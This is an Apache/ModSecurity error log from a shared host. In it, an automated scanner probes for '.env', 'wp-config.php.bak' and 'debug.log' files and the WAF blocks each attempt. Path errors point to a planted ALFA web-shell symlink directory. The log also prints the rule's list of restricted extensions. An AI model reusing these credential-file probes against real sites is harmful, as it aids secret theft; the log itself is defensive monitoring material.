[Sat Oct 24 04:53:28.943246 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/public/.env"] [unique_id "atxyCASwRuPA-FjBma7HIgAAAAI"]
[Sat Oct 24 04:53:28.943521 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/public/.env"] [unique_id "atxyCASwRuPA-FjBma7HIgAAAAI"]
[Sat Oct 24 04:53:28.953109 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/server/.env"] [unique_id "atxyCPW6YT0SU9_bWDbGlgAAAAk"]
[Sat Oct 24 04:53:28.953270 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/server/.env"] [unique_id "atxyCPW6YT0SU9_bWDbGlgAAAAk"]
[Sat Oct 24 04:53:28.953526 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/server/.env"] [unique_id "atxyCPW6YT0SU9_bWDbGlgAAAAk"]
[Sat Oct 24 04:53:28.994395 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/src/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndxgAAABc"]
[Sat Oct 24 04:53:28.994558 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/src/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndxgAAABc"]
[Sat Oct 24 04:53:28.994818 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/src/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndxgAAABc"]
[Sat Oct 24 04:53:29.019291 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/staging/.env"] [unique_id "atxyCQSwRuPA-FjBma7HIwAAAAI"]
[Sat Oct 24 04:53:29.019456 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/staging/.env"] [unique_id "atxyCQSwRuPA-FjBma7HIwAAAAI"]
[Sat Oct 24 04:53:29.019781 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/staging/.env"] [unique_id "atxyCQSwRuPA-FjBma7HIwAAAAI"]
[Sat Oct 24 04:53:29.020443 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/test/.env"] [unique_id "atxyCVGNStwISql-V9e7rAAAAAs"]
[Sat Oct 24 04:53:29.020591 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/test/.env"] [unique_id "atxyCVGNStwISql-V9e7rAAAAAs"]
[Sat Oct 24 04:53:29.020921 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/test/.env"] [unique_id "atxyCVGNStwISql-V9e7rAAAAAs"]
[Sat Oct 24 04:53:29.022407 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/v1/.env"] [unique_id "atxyCY3tkuH7XT-LVCb7NgAAAAE"]
[Sat Oct 24 04:53:29.022547 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/v1/.env"] [unique_id "atxyCY3tkuH7XT-LVCb7NgAAAAE"]
[Sat Oct 24 04:53:29.022793 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/v1/.env"] [unique_id "atxyCY3tkuH7XT-LVCb7NgAAAAE"]
[Sat Oct 24 04:53:29.023912 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/v2/.env"] [unique_id "atxyCXX8E6TRudKM7Tq_CAAAABM"]
[Sat Oct 24 04:53:29.024066 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/v2/.env"] [unique_id "atxyCXX8E6TRudKM7Tq_CAAAABM"]
[Sat Oct 24 04:53:29.024331 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/v2/.env"] [unique_id "atxyCXX8E6TRudKM7Tq_CAAAABM"]
[Sat Oct 24 04:53:29.028461 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/web/.env"] [unique_id "atxyCfW6YT0SU9_bWDbGlwAAAAk"]
[Sat Oct 24 04:53:29.028614 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/web/.env"] [unique_id "atxyCfW6YT0SU9_bWDbGlwAAAAk"]
[Sat Oct 24 04:53:29.028865 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/web/.env"] [unique_id "atxyCfW6YT0SU9_bWDbGlwAAAAk"]
[Sat Oct 24 04:53:29.068708 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/wp-config.php.bak"] [unique_id "atxyCe3iNausmbvH7aw5agAAAAA"]
[Sat Oct 24 04:53:29.068878 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/wp-config.php.bak"] [unique_id "atxyCe3iNausmbvH7aw5agAAAAA"]
[Sat Oct 24 04:53:29.069104 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/wp-config.php.bak"] [unique_id "atxyCe3iNausmbvH7aw5agAAAAA"]
[Sat Oct 24 04:53:29.071407 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "atxyCRVGFs5mlQ9y3KndxwAAABc"]
[Sat Oct 24 04:53:29.071604 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "atxyCRVGFs5mlQ9y3KndxwAAABc"]
[Sat Oct 24 04:53:29.071871 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "atxyCRVGFs5mlQ9y3KndxwAAABc"]
[Sat Oct 24 04:53:34.155489 2026] [ssl:error] [pid 2607847:tid 2607847] (70014)End of file found: [client 50.17.193.48:22528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:53:38.346151 2026] [ssl:error] [pid 2607852:tid 2607852] (70014)End of file found: [client 3.218.103.254:5139] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:53:42.280734 2026] [ssl:error] [pid 2607856:tid 2607856] (70014)End of file found: [client 54.89.90.224:5688] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:53:54.298607 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 18.204.152.114:52055] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:53:58.243050 2026] [core:error] [pid 2607254:tid 2607254] (13)Permission denied: [client 52.45.92.83:45517] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/subsystem/ata1/device/host0/subsystem/drivers/sr/1:0:0:0/generic/device/driver/unbind
[Sat Oct 24 04:54:14.242427 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.84.147.79:23476] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:54:22.234579 2026] [ssl:error] [pid 2607239:tid 2607239] (70014)End of file found: [client 23.21.250.48:48576] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:54:42.404593 2026] [core:error] [pid 2607254:tid 2607254] (13)Permission denied: [client 3.212.86.97:35544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:07/subsystem/devices/PNP0303:00/physical_node/driver/uevent
[Sat Oct 24 04:54:46.219356 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 23.21.228.180:34110] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:54:54.044663 2026] [security2:error] [pid 2607856:tid 2607856] [client 43.130.131.18:37274] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com/"] [unique_id "atxyXp4HT0vgu4Q1ongdJAAAABY"]
[Sat Oct 24 04:54:54.046502 2026] [authz_core:error] [pid 2607856:tid 2607856] [client 43.130.131.18:37274] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 04:54:54.132029 2026] [core:error] [pid 2607852:tid 2607852] (13)Permission denied: [client 3.235.215.92:1887] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0303:00/physical_node1/driver/uevent
[Sat Oct 24 04:54:58.305783 2026] [ssl:error] [pid 2607239:tid 2607239] (70014)End of file found: [client 54.156.124.2:62767] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:55:02.186436 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 34.236.185.101:33888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:55:07.932149 2026] [core:error] [pid 2607856:tid 2607856] (13)Permission denied: [client 85.208.96.212:28580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/slabs_cpu_partial
[Sat Oct 24 04:55:09.085964 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 85.208.96.204:39522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/partial
[Sat Oct 24 04:55:14.138451 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 184.73.195.18:60479] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:55:18.299726 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.204.174.139:31946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:55:22.146186 2026] [ssl:error] [pid 2607852:tid 2607852] (70014)End of file found: [client 23.23.180.225:2827] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:55:34.255186 2026] [ssl:error] [pid 2607236:tid 2607236] (70014)End of file found: [client 34.233.219.155:55275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:55:38.164538 2026] [ssl:error] [pid 2607239:tid 2607239] (70014)End of file found: [client 54.197.82.195:14343] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:55:58.152715 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 34.205.163.103:7285] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:56:14.194079 2026] [core:error] [pid 2603788:tid 2603788] (13)Permission denied: [client 54.92.171.106:47100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/compact
[Sat Oct 24 04:56:22.134468 2026] [ssl:error] [pid 2607852:tid 2607852] (70014)End of file found: [client 3.230.69.161:30317] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:56:26.132112 2026] [ssl:error] [pid 2607856:tid 2607856] (70014)End of file found: [client 3.224.215.150:56417] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:56:38.161294 2026] [ssl:error] [pid 2607236:tid 2607236] (5)Input/output error: [client 54.162.69.192:43797] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:56:50.133315 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 3.221.244.28:33738] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:56:54.121776 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.147.238.89:54647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:56:58.245167 2026] [ssl:error] [pid 2607852:tid 2607852] (70014)End of file found: [client 52.3.102.51:18694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:57:10.002747 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 85.208.96.199:21936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/objects
[Sat Oct 24 04:57:10.136101 2026] [ssl:error] [pid 2607236:tid 2607236] (70014)End of file found: [client 100.28.118.16:11068] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:57:22.134959 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.29.63.24:28738] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:57:26.156806 2026] [core:error] [pid 2607856:tid 2607856] (13)Permission denied: [client 18.215.49.176:33528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/compact
